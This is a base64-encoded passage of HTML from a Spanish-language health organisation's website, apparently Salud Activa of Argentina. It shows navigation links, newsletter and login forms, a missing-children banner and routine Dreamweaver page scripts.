laWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+Cjx0aXRsZT5Eb2N1bWVudG8gc2luIHQmaWFjdXRlO3R1bG88L3RpdGxlPgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZAogIGlmIChpbml0PT10cnVlKSB3aXRoIChuYXZpZ2F0b3IpIHtpZiAoKGFwcE5hbWU9PSJOZXRzY2FwZSIpJiYocGFyc2VJbnQoYXBwVmVyc2lvbik9PTQpKSB7CiAgICBkb2N1bWVudC5NTV9wZ1c9aW5uZXJXaWR0aDsgZG9jdW1lbnQuTU1fcGdIPWlubmVySGVpZ2h0OyBvbnJlc2l6ZT1NTV9yZWxvYWRQYWdlOyB9fQogIGVsc2UgaWYgKGlubmVyV2lkdGghPWRvY3VtZW50Lk1NX3BnVyB8fCBpbm5lckhlaWdodCE9ZG9jdW1lbnQuTU1fcGdIKSBsb2NhdGlvbi5yZWxvYWQoKTsKfQpNTV9yZWxvYWRQYWdlKHRydWUpOwoKZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wCiAgdmFyIGQ9ZG9jdW1lbnQ7IGlmKGQuaW1hZ2VzKXsgaWYoIWQuTU1fcCkgZC5NTV9wPW5ldyBBcnJheSgpOwogICAgdmFyIGksaj1kLk1NX3AubGVuZ3RoLGE9TU1fcHJlbG9hZEltYWdlcy5hcmd1bWVudHM7IGZvcihpPTA7IGk8YS5sZW5ndGg7IGkrKykKICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1uZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319Cn0KLy8tLT4KPC9zY3JpcHQ+CiAgICAgICAgICAgICA8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoJCQkgCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0KI0xheWVyMSB7Cglwb3NpdGlvbjphYnNvbHV0ZTsKCXdpZHRo